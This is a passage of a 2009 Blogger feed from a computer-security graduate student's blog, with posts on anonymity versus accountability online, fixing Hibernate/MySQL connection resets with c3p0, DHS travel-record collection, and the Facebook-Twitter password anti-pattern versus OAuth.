file.dvi (Now we have file.ps)&lt;br /&gt;ps2pdf -dCompatibilityLevel=1.4 -dPDFSETTINGS=/prepress file.ps file.pdf (Now we have file.pdf)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1490743281549381290?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1490743281549381290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1490743281549381290' title='23 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1490743281549381290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1490743281549381290'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/10/fixing-font-not-embedded-issue-to-pass.html' title='Fixing &quot;font not embedded&quot; issue to pass the IEEE PDF eXpress check'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>23</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8522757919985603945</id><published>2009-10-15T17:07:00.004-04:00</published><updated>2009-12-01T10:31:53.412-05:00</updated><title type='text'>Accountability or anonymity or can we have both?</title><content type='html'>This blog post was prompted from the question "what is important accountability or anonymity when it comes to online activities?" (short answer: it depends :)&lt;br /&gt;&lt;br /&gt;Accountability is all about holding an individual accountable for what (s)he does; it's about identification. Anonymity, on the other hand, is about de-identification and the privacy of individuals.&lt;br /&gt;&lt;br /&gt;From the PoV of on-going research, I find three main areas under which anonymity is being considered (am I missing any other ones?)&lt;br /&gt;&lt;br /&gt;1. Anonymous access to resources&lt;br /&gt;Here the goal is to allow users to access some service or resources anonymously - without revealing their identity. It's mainly about unlinkability - no two transactions can be linked to a single transaction. Bob buys a T-shirt from JC Penny and a denim from Old Navy; he used the same Chase credit card for both transactions. Bob may not want his bank, Chase, to know how he spent his money for privacy reasons - if it works like this, it provides unlinkability for Bob at his bank. However, unlinkability, in this case, may be undesirable due to security reasons; if the transactions cannot be linked to Bob, it would be really hard, if not impossible, to identify fraudulent activities by bad users. If Bob really wants to prevent his bank from knowing how he spent his money, the safest way is to use cash - that's the price Bob needs to pay to remain unlinkable! Note that are many cryptography based e-cash scheme to achieve the same objective.&lt;br /&gt;&lt;br /&gt;As you can see, the decision to go anonymous has a cost. The issue is to decide if the benefits weighs higher than the cost. Take another example. You may not like, for example, Marsh or Pay Less, tracking all your transactions - you loose your privacy apparently without any gain for you. What if the loyalty card from Marsh or Pay Less, gives you a discount on most of the items you buy? Most of us (at least graduate students) will go for the loyalty card. The problem here is that there is no way for us to quantify the cost of loosing privacy (shopping history) and further the effect of loosing privacy may not be immediate.&lt;br /&gt;&lt;br /&gt;What about online services? Would you be comfortable if a digital library service records all your moves? Think about it; when you go to a public library in your area, you can read whatever books, newspapers, magazines you want and whatever sections you want without being noticed/recorded. Anonymization techniques may come into your rescue and protect your privacy (i.e. your reading habits). But what do you loose for your privacy? If you are not being anonymous (unlinkable), the digital library service may offer you a better service by recommending books, magazines that are closely related to your reading habits. Same goes with online shopping web sites. Another related note, your online access traces could be a valuable source of income for free services such as &lt;a href="http://www.youtube.com/"&gt;youtube&lt;/a&gt;, &lt;a href="http://www.hulu.com/"&gt;hulu&lt;/a&gt;, etc.&lt;br /&gt;&lt;br /&gt;2. Anonymous publishing&lt;br /&gt;Here I am talking about publishing content without revealing your real identity. Most of the time it is a pseudonym under which one publishes. Publications could be writing a comment, blog post, news article, a paper, posting photos/videos, tweeting, etc. A pseudonym hides your real identity but does not prevent linkability. There are system such as &lt;a href="http://freenetproject.org/"&gt;FreeNet&lt;/a&gt;, &lt;a href="http://cs.nyu.edu/%7Ewaldman/publius/"&gt;Publius&lt;/a&gt; that even make it difficult, in not impossible, to censor what is published; once you publish, no one can take it out. There are good and bad things about anonymous publishing. It is a good thing if some one wants to voice their political opinion or something similar without having to face any repercussions. We make a very important implicit assumption here; the society we live always act good and whatever they do falls under what we perceive as 'acceptable'. It'd be naive to think we can always assume this to be true. We do have bad guys - true - it's only the minority - but this minority could do major damages. A simple example is to defame others hiding behind the screen for personal, political, business etc. advantage. Isn't it a cowardly act? No question about it.&lt;br /&gt;&lt;br /&gt;Here's an example about a defamatory blog (&lt;a href="http://ask.metafilter.com/131764/How-do-I-deal-with-a-defamatory-blog-post"&gt;in the own words of the victim&lt;/a&gt; - let's call him "Joe"):&lt;br /&gt;&lt;span style="font-style: italic;"&gt;There is someone who, for complicated psychiatric reasons, developed a severe dislike of me. This is an extraordinarily vindictive and immature girl whom I have NOT wronged in any remotely substantial way. She created &lt;span style="font-weight: bold;"&gt;an anonymous blog&lt;/span&gt; and posted &lt;span style="font-weight: bold;"&gt;alleging falsely that I'm gay&lt;/span&gt; and saying a number of inaccurate and very negative things about my character. (Basically, name-calling.) I'm concerned that this will affect future job prospects since the post appears within the first couple of pages of search results for my name. She confirmed to a mutual friend that she wrote the blog but refused to take it down. &lt;span style="font-weight: bold;"&gt;Google/blogspot says they don't take down defamatory posts without a court order&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(I am not sure what exactly is legally considered as &lt;a href="http://www.eff.org/issues/bloggers/legal/liability/defamation"&gt;defamatory&lt;/a&gt;. Let's assume it's considered defamatory. What actions can Joe take? IMO, hiring a lawyer for not so grave an incident like this may cost Joe. If he's worried about his online reputation, first thing he should do is to increase the online presence by posting/blogging true facts out, writing about topics of interest, etc. )&lt;br /&gt;&lt;br /&gt;Now apply this to a business, corporate level or a popular person or even a major religion. The problem comes when we allow people to freely publish incorrect/falsified information without being accountable. Censor resistant systems makes the problem worse.&lt;br /&gt;&lt;br /&gt;3. Data anonymization of statistical analysis&lt;br /&gt;Here we talk about modifying existing records such that sensitive/private information about individuals cannot be inferred from the published data. For example, Alice is doing a survey of cancer patients in Indiana. A good source for her survey is medical records and patient information in the hospitals in Indiana. However, hospitals may not be willing to give Alice row data as it would violate patient privacy (and in fact not allowed under law). Since this study could be beneficial (e.g. correlating cancer to location, public facilities, living habits, etc.), hospital can anonymize the data such that Alice cannot link what is provided to her with individual residents of Indiana. In the research literature, there have been many work done in this area; k-anonymity, l-diversity, t-closeness are just to name a few. A key issue here is the trade-off between privacy and utility. The data can be completely anonymized providing the highest level of privacy but without any utility all or the data can be published as it is providing the highest level of utility but without any privacy. On-going research tries to strike a balance between these two parameters - sufficiently protect individually identifiable data and still able to perform statistical analysis. I don't have any problem with this type of anonymization; in fact, this type of anonymization is encouraged before releasing data for studies.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As we all know, if you take any real user base, a vast majority of them are good users and only a few of them are bad users. So whatever solution we provide should be beneficial to the vast majority. Since anonymity helps good users in certain scenarios, should we focus more on anonymity over accountability? There are consequences.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As per the first two types, a bad effect of anonymity is that it may reduce the accountability one perceives to have for their actions. This could be an incentive for good people to turn bad and bad people to worse. My mother used to tell us that too much of any thing is not good. The same applies here. We need to define an 'acceptable' level of freedom of speech and censorship resistance. IMO, there should be a way to identify bad people in anonymous systems while good people continue to remain anonymous.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another bad side of anonymity is related to trust. We trust a publication that explicitly mentions the authors than an anonymous publication, don't we? Of course, there are other ways to increase the level of trust we place. For example, many people like it, if the author goes under a pseudonym and that pseudonym has a good history of publication, if it backs up the facts with citations or if it is a shared content management system (like wikipedia) and there is less dispute by other users, etc.&lt;br /&gt;&lt;br /&gt;Here's another interesting point raised by Sarah Hinchliff Pearson in &lt;a href="http://cyberlaw.stanford.edu/node/6140"&gt;her blog&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The National Fair Housing Alliance (NFHA) has been fighting a defamation lawsuit brought by a real estate company that was the target of its fair housing testing. (Disclosure: I helped defend NFHA in this litigation at my prior firm.) NFHA conducted months of well-documented fair housing tests and then reported its results to the media. Despite NFHA’s due diligence, it has been &lt;span style="font-weight: bold;"&gt;subjected to the burden of ongoing litigation&lt;/span&gt;. Yet under amici’s proposed standard, it would &lt;span style="font-weight: bold;"&gt;likely not have faced this burden if it had reported the results anonymously&lt;/span&gt; on the Internet. By giving better protection to anonymous speakers, the heightened standard reflects an implicit judgment that anonymous speech should be valued more highly than regular speech. It also produces a perverse incentive for all speakers to withhold their name from reports, comments, and opinions online.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;She argues that we should not place a premium on anonymous contributions. I agree with her when the anonymity is related to publishing. Further, anonymous access may not be desirable for access to restricted materials or when there is a legal requirement to audit. However, for routine tasks such as accessing a digital library (any other content that has a economical value but innocuous in nature), echoing your political opinion, it is desirable to have some degree of anonymity.&lt;br /&gt;&lt;br /&gt;In conclusion, ideally I would like to see systems where good guys remain anonymous but bad guys are identified. Anonymity in certain cases is a good thing; but there are situations where it could lead to unpleasant consequences - that's where we need some level of accountability. In certain other cases, you may have to pay a price for remaining anonymous. It is likely the issues mentioned in this post will take time and effort to solve. You are more than welcome to provide your thoughts on this.&lt;br /&gt;&lt;br /&gt;Update: 12/1/2009&lt;br /&gt;&lt;a href="http://www.guardian.co.uk/technology/2009/nov/26/dark-side-internet-freenet"&gt;Here's a good article&lt;/a&gt; about the dark side of Internet and it is related to the topic discussed above.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8522757919985603945?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8522757919985603945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8522757919985603945' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8522757919985603945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8522757919985603945'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/10/accountability-or-anonymity-or-can-we.html' title='Accountability or anonymity or can we have both?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3006223839214329982</id><published>2009-10-13T22:45:00.002-04:00</published><updated>2009-10-13T23:07:00.041-04:00</updated><title type='text'>Thought of the day</title><content type='html'>I saw the following quote in a friend's feed:&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;The saddest failures in life are those that come from not putting forth the power and will to succeed&lt;/span&gt;". ~&lt;a href="http://en.wikipedia.org/wiki/Edwin_Percy_Whipple"&gt;Edwin P. Whipple&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I cannot agree more with this quote. Personally, I don't mind failing. However, I feel bad when I fail knowing that I didn't put enough effort to succeed. The more I think about this quote, the more do I feel certain that it's not just the skill/talent that matters, determination/willingness to prepare yourself plays a bigger role.&lt;br /&gt;&lt;br /&gt;I try to keep my game &lt;span style="font-style: italic;"&gt;simple&lt;/span&gt;; there are &lt;span style="font-style: italic;"&gt;no short cuts &lt;/span&gt;- you've got to &lt;span style="font-style: italic;"&gt;practice hard&lt;/span&gt; every &lt;a href="http://en.wikipedia.org/wiki/Cricket"&gt;cricket&lt;/a&gt; shot you want to master - you've got to prepare even harder if you are to &lt;span style="font-style: italic;"&gt;innovate&lt;/span&gt; &lt;a href="http://en.wikipedia.org/wiki/Dilscoop"&gt;a new shot&lt;/a&gt;. Now apply that to whatever game you play in life. What's your game plan?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3006223839214329982?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3006223839214329982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3006223839214329982' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3006223839214329982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3006223839214329982'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/10/thought-of-day.html' title='Thought of the day'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6911845878667656640</id><published>2009-10-05T22:11:00.009-04:00</published><updated>2009-10-06T09:25:11.343-04:00</updated><title type='text'>Overcoming hibernate/mysql connection reset issue</title><content type='html'>One of the projects I have been working on uses Java1.6/JSP/Servlet/Hibernate3.2/Tomcat/MySQL5. Since it is just a prototype, I initially used the Hibernate's native connection pool management mechanism (which is not recommend for a production level deployment).&lt;br /&gt;&lt;br /&gt;Every now and then, when we try to connect to the database server, it threw a connection reset exception. This happens because MySQL drops connections after every configured wait_timeout. But when I try to connect the second time, it works. It is not acceptable to have a piece of software that works in the second attempt! So, I tried different fixes.&lt;br /&gt;&lt;br /&gt;I added the following property to hibernate.cfg.xml:&lt;br /&gt;&lt;br /&gt;&amp;lt;property name="hibernate.connection.autoReconnect"&amp;gt;true&amp;lt;/property&amp;gt;&lt;br /&gt;&lt;br /&gt;However it did not solve the connection reset problem. Still the first attempt failed. Apparently, the Hibernate's connection pooling library does not support this property.&lt;br /&gt;&lt;br /&gt;From &lt;a href="http://docs.jboss.org/hibernate/core/3.3/reference/en/html/session-configuration.html"&gt;Hibernate (Jboss)&lt;/a&gt;:&lt;br /&gt;&lt;a style="font-style: italic;" id="d0e1756"&gt;Hibernate's own connection pooling algorithm is, however,&lt;span style="color: rgb(255, 0, 0);"&gt; quite rudimentary&lt;/span&gt;.              It is intended to help you get started and is &lt;span class="emphasis"&gt;&lt;em&gt;not intended for use              in a production system&lt;/em&gt;&lt;/span&gt;, or even for performance testing. You should             use a third party pool for best performance and stability.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(It would be helpful for people to inform what is working and what's not. But can't complain these are free stuff.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are three possible avenues:&lt;br /&gt;1. modify mysql.cfg to have a longer wait_timeout&lt;br /&gt;2. use Tomcat managed connections&lt;br /&gt;3. use a third-party connection pooling library&lt;br /&gt;&lt;br /&gt;The first two options are out of my control and we only have limited privileges to mysql and tomcat instances. So, the only option was to look into #3.&lt;br /&gt;&lt;br /&gt;I downloaded &lt;a href="http://www.mchange.com/projects/c3p0/index.html"&gt;c3p0&lt;/a&gt; and added the following configurations to hibernate.cfg.xml file have a basic setting (I did not try to &lt;a href="https://www.hibernate.org/214.html"&gt;optimize&lt;/a&gt; these figures just used the numbers that &lt;a href="http://www.databasesandlife.com/automatic-reconnect-from-hibernate-to-mysql/"&gt;worked for others&lt;/a&gt; since the objective is not performance tuning, but to get it working.):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;!-- Min pool size --&amp;gt;&lt;br /&gt;&amp;lt;property name="c3p0.min_size"&amp;gt;5&amp;lt;/property&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--Max pool size --&amp;gt;&lt;br /&gt;&amp;lt;property name="c3p0.max_size"&amp;gt;20&amp;lt;/property&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- Max idle time --&amp;gt;&lt;br /&gt;&amp;lt;property name="c3p0.timeout"&amp;gt;1800&amp;lt;/property&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--Max statements - size of the prepared statement cache --&amp;gt;&lt;br /&gt;&amp;lt;property name="c3p0.max_statements"&amp;gt;50&amp;lt;/property&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- Set the pooling implementation to c3p0 --&amp;gt;&lt;br /&gt;&amp;lt;property name="connection.provider_class"&amp;gt;org.hibernate.connection.C3P0ConnectionProvider&amp;lt;/property&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; Those are the basic pool settings. Still, the problem of first time failure is not solved. We need to tell c3p0 swallow the first failure and transparently connect in the second attempt. This does have a performance issue - every time when you want to connect, it does this.&lt;br /&gt;&lt;br /&gt;You have to set an extra c3p0 property using c3p0.properties file. Add the file c3p0.properties to the root of the class path (in classes or WEB-INF classes for example) and turn on the c3p0.testConnectionOnCheckout property in that file.&lt;br /&gt;&lt;br /&gt;c3p0.testConnectionOnCheckout=true&lt;br /&gt;&lt;br /&gt;Note from Hibernate:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Don't use c3p0.testConnectionOnCheckout, this feature is very expensive. If set to true, an operation will be performed at every &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;connection&lt;/span&gt;&lt;span style="font-style: italic;"&gt; checkout to verify that the &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;connection&lt;/span&gt;&lt;span style="font-style: italic;"&gt; is valid. A better choice is to verify &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;connection&lt;/span&gt;&lt;span style="font-style: italic;"&gt;s periodically using c3p0.idle&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;Connection&lt;/span&gt;&lt;span style="font-style: italic;"&gt;TestPeriod.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As you can see, they do recommend a polling based approach where Hibernate periodically checks for idle connections. But I guess this also depends on the how frequently the hibernate layer is accessed. In our case, it is not that frequent. I didn't try that option but it should work.&lt;br /&gt;&lt;br /&gt;Other pooling libraries such as &lt;a href="http://commons.apache.org/dbcp/"&gt;Apache DBCP&lt;/a&gt;, &lt;a href="http://proxool.sourceforge.net/"&gt;Proxool&lt;/a&gt; should also work. But I didn't have time to check them out.&lt;br /&gt;&lt;pre&gt; &lt;/pre&gt;&lt;br /&gt;References: &lt;a href="https://www.hibernate.org/214.html"&gt;1&lt;/a&gt;, &lt;a href="http://www.databasesandlife.com/automatic-reconnect-from-hibernate-to-mysql/"&gt;2&lt;/a&gt;, &lt;a href="http://www.mchange.com/projects/c3p0/index.html"&gt;3&lt;/a&gt;, &lt;a href="https://forum.hibernate.org/viewtopic.php?t=934779"&gt;4&lt;/a&gt;, &lt;a href="https://www.hibernate.org/214.html"&gt;5&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6911845878667656640?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6911845878667656640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6911845878667656640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6911845878667656640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6911845878667656640'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/10/overcoming-hibernatemysql-connection.html' title='Overcoming hibernate/mysql connection reset issue'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8420937070287602567</id><published>2009-10-05T12:51:00.003-04:00</published><updated>2009-10-06T09:47:20.383-04:00</updated><title type='text'>What DHS knows about you</title><content type='html'>If you just wonder what DHS collects about you from travel agents, &lt;a href="http://philosecurity.org/2009/09/07/what-does-dhs-know-about-you"&gt;read on&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It is a good idea to use cash or use a one time credit card number (like the one Citi bank issues - which allows you to set exp. date, credit limit and have multiple numbers) if you are booking through a travel agent (and concerned about security/privacy) (assuming your &lt;a href="http://www.hasbrouck.org/articles/PNR.html"&gt;PNR&lt;/a&gt; is passed to DHS upon booking?).&lt;br /&gt;&lt;br /&gt;Or, we need ways to fly under the radar. Anonymous booking?&lt;br /&gt;&lt;br /&gt;You can request your &lt;span class="caps"&gt;PNR'&lt;/span&gt;s and other records of your international travel that are being kept by the &lt;span class="caps"&gt;U.S.&lt;/span&gt; Customs and Border Protection (CBP) division of the Department of Homeland Security (DHS). I haven't tried this. &lt;a href="http://www.hasbrouck.org/blog/archives/001607.html"&gt;This link&lt;/a&gt; shows how to.&lt;br /&gt;&lt;br /&gt;Both travel agents and airline reservation staff:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;CBP &lt;/span&gt;&lt;span style="font-style: italic;"&gt;eventually admitted that their records include information about travel agents and airline reservation staff...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;They collect information from other sources as well:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;In February 2009, the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;DHS &lt;/span&gt;&lt;a style="font-style: italic;" href="http://www.dhs.gov/xlibrary/assets/privacy/privacy_pia_cbp_apis_vrbs.pdf"&gt;admitted&lt;/a&gt;&lt;span style="font-style: italic;"&gt; that Amtrak and bus companies "voluntarily" provide the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;DHS &lt;/span&gt;&lt;span style="font-style: italic;"&gt;with information on bus and train passengers travelling between the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;USA &lt;/span&gt;&lt;span style="font-style: italic;"&gt;and Canada and Mexico. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Your travel data may be shared with other parties in addition to DHS:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;If you traveled on an airline based in the European Union, or made your reservations or bought your ticket in the EU or from an airline office or travel agency or tour operator in the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;EU, &lt;/span&gt;&lt;span style="font-style: italic;"&gt;you can also request your records (including an accounting of what information they passed on directly to the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;DHS &lt;/span&gt;&lt;span style="font-style: italic;"&gt;or outsourced or transferred to &lt;/span&gt;&lt;a style="font-style: italic;" href="http://www.hasbrouck.org/articles/PNR.html#CRS"&gt;Computerized Reservation Systems&lt;/a&gt;&lt;span style="font-style: italic;"&gt; (CRS's) or other commercial entities in the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;USA&lt;/span&gt;&lt;span style="font-style: italic;"&gt;), from the airline, travel agency, tour operator, or &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;CRS. &lt;/span&gt;&lt;span style="font-style: italic;"&gt; Even if they claim that you "consented" to data sharing, EU laws require that they disclose, on request, exactly what data about you they have "shared", and with whom. Note that you can make such a request of a &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;USA&lt;/span&gt;&lt;span style="font-style: italic;"&gt;-based airline if you bought your ticket from them in Europe. EU data protection law is applicable whenever data is originally collected in the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;EU, &lt;/span&gt;&lt;span style="font-style: italic;"&gt;regardless of your citizenship or where the company is based.&lt;/span&gt;..&lt;span style="font-style: italic;"&gt;By subscribing to &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;CRS'&lt;/span&gt;&lt;span style="font-style: italic;"&gt;s based in the &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;USA, &lt;/span&gt;&lt;span style="font-style: italic;"&gt;and by participating in code-sharing and other marketing (and data sharing) "partnerships", most airlines, travel agencies, and tour operators based in the EU have effectively outsourced and offshored the storage of all of their &lt;/span&gt;&lt;span style="font-style: italic;" class="caps"&gt;PNR'&lt;/span&gt;&lt;span style="font-style: italic;"&gt;s and customer data. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reference: &lt;a href="http://www.hasbrouck.org/blog/archives/001607.html"&gt;1&lt;/a&gt;, &lt;a href="http://www.papersplease.org/wp/2009/09/09/more-travel-records-more-exemptions-from-the-privacy-act/"&gt;2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8420937070287602567?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8420937070287602567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8420937070287602567' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8420937070287602567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8420937070287602567'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/10/what-dhs-knows-about-you.html' title='What DHS knows about you'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5587385176210935274</id><published>2009-10-03T20:53:00.004-04:00</published><updated>2009-10-03T22:20:11.047-04:00</updated><title type='text'>Open decentralized microblogging</title><content type='html'>I recently wanted to access twitter updates through facebook. I clicked on the add twitter application, but after seeing the &lt;a href="http://designingsocialinterfaces.com/patterns.wiki/index.php?title=The_Password_Anti-Pattern"&gt;authentication anti-pattern&lt;/a&gt; they are using I backed off (yet, many of my friends have added it; looks like their perceived risk is less than the benefits they expect).&lt;br /&gt;&lt;br /&gt;If an imaginary dude added twitter in to their FB profile, the conversation would have been as follows.&lt;br /&gt;Dude: hey FB, I want to access Tweets.&lt;br /&gt;FB: sure dude, give me your Twitter username and password. (domain - facebook.com)&lt;br /&gt;Dude: my Twitter username and password.&lt;br /&gt;FB: hey twitter, I am (pretending to be) the dude with this user name and password.&lt;br /&gt;Twitter: hey dude (actually FB pretending to be the dude - which Twitter does not know), you are authenticated and welcome back to Twitter.&lt;br /&gt;FB: dude, now you are all set.&lt;br /&gt;&lt;br /&gt;Do you want to allow FB (or any other third-party service provider) to predend like you to some other service you are already using (e.g. Twitter)? What are the possible risks/benefits of doing it?&lt;br /&gt;&lt;br /&gt;At least there are some positive signs, Twitter already has an &lt;a href="http://apiwiki.twitter.com/Twitter-API-Documentation"&gt;OAuth API&lt;/a&gt; (They would also like to drop the basic authentication API that uses the above conversion pattern; I guess they continue to keep it due to migration/usability issues). I would feel little safer (but not completely) if the FB folks the following conversation using a delegated authentication mechanism.&lt;br /&gt;&lt;br /&gt;Dude: hey FB, I want to access Tweets.&lt;br /&gt;FB: No problem dude, I am sending you to Twitter (open ups a new browser window - domain twitter.com).&lt;br /&gt;FB: hey Twitter, a  dude wants to connect to Twitter.&lt;br /&gt;Twitter: hey dude, FB (or any other third-party dude) wants to access your tweets; you cool with that?&lt;br /&gt;Dude: yep, I am. (Dude type his/her username and password and give approval)&lt;br /&gt;Twitter: hey FB, use this token to access Dude's tweets.&lt;br /&gt;FB: dude, now you are all set.&lt;br /&gt;&lt;br /&gt;Notice that the dude did not have to give private information such as twitter password to FB. In other words, the twitter password is still under the control of the dude. Nabeel's dilemma: should I wait till FB provides such an application or should I sacrifice my private information and go ahead with the current application?&lt;br /&gt;&lt;br /&gt;It may appear I have derailed from the $subject of this blog post, but I was telling all this to motivate you about the need to have an open decentralized microblogging (aka the $subject). There has been some research work in this area. I found the following paper interesting in this regard.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/Microblogging,%20as%20exemplified%20by%20Twitter,%20is%20gaining%20popularity%20as%20a%20way%20to%20exchange%20short%20messages%20within%20social%20networks.%20However,%20the%20limitations%20of%20current%20microblog%20services%C3%A2%C2%80%C2%94proprietary,%20centralized,%20and%20isolated%C3%A2%C2%80%C2%94%20threaten%20the%20long-term%20viability%20of%20this%20new%20medium.%20In%20this%20work%20we%20investigate%20the%20current%20state%20of%20microblogging%20and%20envision%20an%20open,%20distributed%20micropublishing%20service%20that%20addresses%20the%20weaknesses%20of%20today%C3%A2%C2%80%C2%99s%20systems.%20We%20draw%20on%20traces%20taken%20from%20Twitter%20to%20characterize%20the%20microblogging%20workload.%20Our%20proposal,%20fethr,%20connects%20micropublishers%20large%20and%20small%20in%20a%20single%20global%20network.%20New%20messages%20are%20gossiped%20among%20subscribers%20using%20a%20lightweight%20http-based%20protocol.%20Cryptographic%20measures%20protect%20authenticity%20and%20continuity%20of%20updates%20and%20prove%20message%20ordering%20even%20across%20providers."&gt;Birds of a 